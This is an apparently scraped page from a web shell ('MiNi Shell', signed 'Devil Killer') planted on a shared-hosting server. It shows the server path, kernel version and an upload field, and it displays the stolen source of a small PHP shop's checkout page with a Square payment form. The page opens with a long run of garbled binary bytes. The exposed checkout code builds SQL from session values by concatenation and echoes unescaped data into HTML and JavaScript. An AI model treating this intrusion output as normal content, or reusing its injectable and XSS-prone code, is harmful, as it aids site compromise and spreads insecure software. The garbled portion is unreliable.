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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_ecom_0/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_ecom_0/checkout.php

<?php
	require('top.php');
	if(!isset($_SESSION['cart']) || count($_SESSION['cart'])==0){
		header("location:index.php");
		die();
	}

	if(isset($_POST['submit'])){
		$cart_sub_total = 0;
		catch_shipping_info($con);

/*		$payment_type = get_safe_value($con,isset($_POST['payment_type'])?$_POST['payment_type']:'unknown');
		$payment_status = ($payment_type == "unknown")?'pending':'success'; 
		$order_status = ORDER_STATUS_PENDING;
		$added_on = date("Y-m-d h:i:s");

		$sql = "insert into t_order(user_id,receiver,address1,address2,city,province,pc,phone,payment_type,payment_status,order_status,added_on) values('".$_SESSION['USER_ID']."','".$_SESSION['order']['receiver']."','".$_SESSION['order']['address1']."','".$_SESSION['order']['address2']."','".$_SESSION['order']['city']."','".$_SESSION['order']['province']."','".$_SESSION['order']['pc']."','".$_SESSION['order']['phone']."','$payment_type','$payment_status','$order_status','$added_on')";
		mysqli_query($con,$sql);
		$order_id = mysqli_insert_id($con);
		$_SESSION['order']['id'] = $order_id;
		foreach($_SESSION['cart'] as $key=>$value){
			$productArr = get_product($con,'','',$key);
			$pname = $productArr[0]['name'];
			$mrp = $productArr[0]['mrp'];
			$price = $productArr[0]['price'];
			$image = $productArr[0]['image'];
			$qty = $value['qty'];
			$cart_sub_total += $price*$qty;

			$sql = "insert into t_order_details(order_id,product_id,qty,price) values('$order_id','$key','$qty','$price')";
			mysqli_query($con,$sql);
		}
		$tax = $cart_sub_total*TAX_RATE;
		$cart_total = $cart_sub_total + $tax;
		$total_price = $cart_total;

		$sql = "update t_order set total_price='$total_price' where id='$order_id'";
		mysqli_query($con,$sql);*/

//		unset($_SESSION['cart']);
//		header("location:thank_you.php");
	}

	function catch_shipping_info($con){
		$_SESSION['order']['receiver'] = get_safe_value($con,$_POST['receiver_name']);
		$_SESSION['order']['address1'] = get_safe_value($con,$_POST['address1']);
		$_SESSION['order']['address2'] = get_safe_value($con,$_POST['address2']);
		$_SESSION['order']['city'] = get_safe_value($con,$_POST['city']);
		$_SESSION['order']['province'] = get_safe_value($con,$_POST['province']);
		$_SESSION['order']['pc'] = get_safe_value($con,$_POST['pc']);
		$_SESSION['order']['phone'] = get_safe_value($con,$_POST['phone']);		
	}
?>

<script src="https://js.squareupsandbox.com/v2/paymentform"></script>
<script src="js/vendor/jquery-3.2.1.min.js"></script>
<link rel="stylesheet" type="text/css" href="square/client/payment_form.css">
<!-- Start Bradcaump area -->
<div class="ht__bradcaump__area" style="background: rgba(0, 0, 0, 0) url(images/bg/4.jpg) no-repeat scroll center center / cover ;">
	<div class="ht__bradcaump__wrap">
		<div class="container">
			<div class="row">
				<div class="col-xs-12">
					<div class="bradcaump__inner">
						<nav class="bradcaump-inner">
						  <a class="breadcrumb-item" href="index.php">Home</a>
						  <span class="brd-separetor"><i class="zmdi zmdi-chevron-right"></i></span>
						  <span class="breadcrumb-item active">checkout</span>
						</nav>
					</div>
				</div>
			</div>
		</div>
	</div>
</div>
<!-- End Bradcaump area -->
<!-- cart-main-area start -->
<div class="checkout-wrap ptb--100">
	<div class="container">
		<div class="row">
			<div class="col-md-8">
				<div class="checkout__inner">
					<div class="accordion-list">
						<div class="accordion">
							<?PHP 
								$accordion_class = "accordion__title";
								if(!isset($_SESSION['USER_LOGIN'])|| $_SESSION['USER_LOGIN']!='yes'){
									$accordion_class = "accordion__hide";
							?>
								<div class="accordion__title">
									Checkout Method
								</div>
								<div class="accordion__body">
									<div class="accordion__body__form">
										<div class="row">
											<div class="col-md-6">
												<div class="checkout-method__login">
													<form id="login-form" method="post">
														<h5 class="checkout-method__title">Login</h5>
														<div class="single-input">
															<input type="text" name="login_name" id="login_email" placeholder="Your Email*" style="width:100%">
															<div class="field_error" id="login_email_error"></div>
														</div>
														<div class="single-input">
															<input type="password" name="login_password" id="login_password" placeholder="Your Password*" style="width:100%">
															<div class="field_error" id="login_password_error"></div>
														</div>
														<p class="require">* Required fields</p>
														<div class="dark-btn">
															<a href="javascript:void(0)"  onclick="user_login();" >LogIn</a>
														</div>
														<div class="form-output">
															<p class="form-messege"></p>
														</div>
													</form>
												</div>
											</div>
											<div class="col-md-6">
												<div class="checkout-method__login">
													<form action="#">
														<h5 class="checkout-method__title">Register</h5>
														<div class="single-input">
															<input type="text" name="name" id="name" placeholder="Your Name*" style="width:100%">
															<div class="field_error" id="name_error"></div>
														</div>
														<div class="single-input">
															<input type="text" name="email" id="email" placeholder="Your Email*" style="width:100%">
															<div class="field_error" id="email_error"></div>
														</div>
														<div class="single-input">
															<input type="text" name="mobile" id="mobile" placeholder="Your Mobile*" style="width:100%">
															<div class="field_error" id="mobile_error"></div>
														</div>
														<div class="single-input">
															<input type="password" name="password" id="password" placeholder="Your Password*" style="width:100%">
															<div class="field_error" id="password_error"></div>
														</div>
														<div class="dark-btn">
															<a href="javascript:void(0)" onclick="user_register();">Register</a>
														</div>
													</form>
												</div>
											</div>
										</div>
									</div>
								</div>
							<?PHP } ?>

							<div id="shipping_section" class="<?PHP echo /*isset($_POST['submit'])?"accordion__hide":*/$accordion_class; ?>">
								Shipping Address Information
							</div>
							<div class="accordion__body">
								<div id="address_card">
								<?PHP
									if(isset($_SESSION['USER_ID'])){
										$sql = "select * from t_cus_shipping_address where customer_id=\"".$_SESSION['USER_ID']."\"";
										$res = mysqli_query($con,$sql);
										while($row=mysqli_fetch_assoc($res)){
								?>
									<div class="info-card shippping-address">
										<line1><receiver><?PHP echo $row['receiver']; ?></receiver></line1>
										<line2><address1><?PHP echo $row['address1']; ?></address1></line2>
										<line3><?PHP echo empty($row['address2'])?"":"<address2>".$row['address2']."</address2>"; ?></line3>
										<line4><city><?PHP echo $row['city'];?></city><province><?PHP echo $row['province'];?></province><pc><?PHP echo $row['pc']; ?></pc></line4>
										<line5><mobile><?PHP echo $row['mobile']?></mobile></line5>
									</div>
								<?php
										}
									}
								?>
								</div>
								<div id="shipping_address_form" class="bilinfo">
									<form method="POST">
										<div class="row">
											<div class="col-md-12">
												<div class="single-input">
													<input type="text" id="receiver" name="receiver_name" placeholder="Receiver Name">
												</div>
											</div>
											<div class="col-md-12">
												<div class="single-input">
													<input type="text" id="address1" name="address1" placeholder="Street Address *" required>
												</div>
											</div>
											<div class="col-md-12">
												<div class="single-input">
													<input type="text" id="address2" name="address2" placeholder="Apartment/Block/House (optional)">
												</div>
											</div>
											<div class="col-md-4">
												<div class="single-input">
													<input type="text" id="city" name="city" placeholder="City *" required>
												</div>
											</div>
											<div class="col-md-2">
												<div class="single-input">
													<select id="province" name="province" placeholder="Province *" required>
													<?PHP
														$sql = "select province from t_tax_definition";
														$res = mysqli_query($con,$sql);
														while($row=mysqli_fetch_assoc($res)){
													?>
														<option><?PHP echo $row['province'];?></option>
													<?PHP
														}
													?>
													</select>
												</div>
											</div>
											<div class="col-md-3">
												<div class="single-input">
													<input type="text" id="pc" name="pc" placeholder="Post code/ zip *" required>
												</div>
											</div>
											<div class="col-md-3">
												<div class="single-input">
													<input type="text" id="phone" name="phone" placeholder="Phone number">
												</div>
											</div>
											<div class="col-md-12">
												<div class="single-input">
													<button type="submit" name="submit" class="btn_shipping_addr">Next Step</button>
												</div>
											</div>				
										</div>
									</form>
								</div>
							</div>
							<div id="payment_section" class="<?PHP echo $accordion_class; ?>">
								payment information
							</div>
							<div class="accordion__body">
								<div class="paymentinfo">
									<div id="form-container single-method">
										<div>
											<strong>Amount Payable: $<span id="amount_payable"></span></strong> 
											<!-- <input id="sq-amount" type="number" name="amount" min="0" class="sq-input" placeholder="Amounts Payable"> -->
										</div>
										<div id="sq-card-number"></div>
										<div class="third" id="sq-expiration-date"></div>
										<div class="third" id="sq-cvv"></div>
										<div class="third" id="sq-postal-code"></div>
										<button id="sq-creditcard" class="button-credit-card" onclick="onGetCardNonce(event)">Pay the amount</button>
									</div>

										<script src="square/client/payment_form.js"></script>

<!-- 										<div class="single-method">
<input name="payment_type" type="radio" value="visa" required />Visa
<input name="payment_type" type="radio" value="master" required />Master										
<a href="#"><i class="zmdi zmdi-long-arrow-right"></i>Check/ Money Order</a>
</div>
<div class="single-method">
<a href="#" class="paymentinfo-credit-trigger"><i class="zmdi zmdi-long-arrow-right"></i>Credit Card</a>
</div> -->
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
			<div class="col-md-4">
				<div class="order-details">
					<h5 class="order-details__title">Your Order</h5>
					<div class="order-details__item">
						<?PHP
							$cart_sub_total = 0;
							foreach($_SESSION['cart'] as $key=>$value){
								$productArr = get_product($con,'','',$key);
								$pname = $productArr[0]['name'];
								$mrp = $productArr[0]['mrp'];
								$price = $productArr[0]['price'];
								$image = $productArr[0]['image'];
								$qty = $value['qty'];
								$cart_sub_total += $price*$qty;
						?>
						<div class="single-item">
							<div class="single-item__thumb">
								<img src="<?PHP echo PRODUCT_IMAGE_SITE_PATH.$image; ?>">
							</div>
							<div class="single-item__content">
								<a href="#"><?PHP echo $pname; ?></a>
								<span class="price"><?PHP echo $price*$qty; ?></span>
							</div>
							<div class="single-item__remove">
								<a href="javascript:void(0)" onclick="manage_cart('<?PHP echo $key; ?>','remove')"><i class="zmdi zmdi-delete"></i></a>
							</div>
						</div>
						<?PHP
							}
							$tax = $cart_sub_total*TAX_RATE;
							$cart_total = $cart_sub_total + $tax;
						?>
					</div>
					<div class="order-details__count">
						<div class="order-details__count__single">
							<h5>sub total</h5>
							<span class="price"><?PHP echo $cart_sub_total; ?></span>
						</div>
						<div class="order-details__count__single">
							<h5>Tax</h5>
							<span class="price"><?PHP echo $tax; ?></span>
						</div>
					</div>
					<div class="ordre-details__total">
						<h5>Order total</h5>
						<span class="price"><?PHP echo $cart_total; ?></span>
					</div>
				</div>
			</div>
		</div>
	</div>
</div>
<!-- cart-main-area end -->
<script type="text/javascript">
var amount_payable = <?PHP echo $cart_total;?>;
<?PHP
	if(isset($_POST['submit'])){
?>
		var ship_info = {
			"receiver":"<?PHP echo $_SESSION['order']['receiver']; ?>",
			"address1":"<?PHP echo $_SESSION['order']['address1']; ?>",
			"address2":"<?PHP echo $_SESSION['order']['address2']; ?>",
			"city":"<?PHP echo $_SESSION['order']['city']; ?>",
			"province":"<?PHP echo $_SESSION['order']['province']; ?>",
			"pc":"<?PHP echo $_SESSION['order']['pc']; ?>",
			"phone":"<?PHP echo $_SESSION['order']['phone']; ?>"
		};
		$("#shipping_address_form").find("#receiver").val(ship_info.receiver);
		$("#shipping_address_form").find("#address1").val(ship_info.address1);
		$("#shipping_address_form").find("#address2").val(ship_info.address2);
		$("#shipping_address_form").find("#city").val(ship_info.city);
		$("#shipping_address_form").find("#province").val(ship_info.province);
		$("#shipping_address_form").find("#pc").val(ship_info.pc);
		$("#shipping_address_form").find("#phone").val(ship_info.phone);
<?PHP
	}
?>
$(function(){
	$("#amount_payable").html("<?PHP echo $cart_total;?>");
	$("#sq-creditcard").html("<?PHP echo "Pay the amount of $".$cart_total;?>");
	$(".shippping-address").on("click",function(){
		if($(this).hasClass("selected_card")){
			$(".selected_card").removeClass("selected_card");
			$("#shipping_address_form").find("#receiver").val("");
			$("#shipping_address_form").find("#address1").val("");
			$("#shipping_address_form").find("#address2").val("");
			$("#shipping_address_form").find("#city").val("");
			$("#shipping_address_form").find("#province").val("");
			$("#shipping_address_form").find("#pc").val("");
			$("#shipping_address_form").find("#phone").val("");	
		}else{
			$(".selected_card").removeClass("selected_card");
			$(this).addClass("selected_card");
			$("#shipping_address_form").find("#receiver").val($(this).find("receiver").html());
			$("#shipping_address_form").find("#address1").val($(this).find("address1").html());
			$("#shipping_address_form").find("#address2").val($(this).find("address2").html());
			$("#shipping_address_form").find("#city").val($(this).find("city").html());
			$("#shipping_address_form").find("#province").val($(this).find("province").html());
			$("#shipping_address_form").find("#pc").val($(this).find("pc").html());
			$("#shipping_address_form").find("#phone").val($(this).find("mobile").html());	
		}
	});

	$(".cc_info").on("click",function(){
		paymentForm.setPostalCode($(this).find("bpc").html());
	});

<?PHP
	if(isset($_POST['submit'])){
?>
			$('.accordion__title').siblings('.accordion__title').removeClass('active');
			$("#payment_section").addClass('active');
			$('.accordion__body').siblings('.accordion__body').slideUp();
			$("#payment_section").next(".accordion__body").slideDown();

<?PHP
	}
?>
});

</script>
<?php
require('footer.php');
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com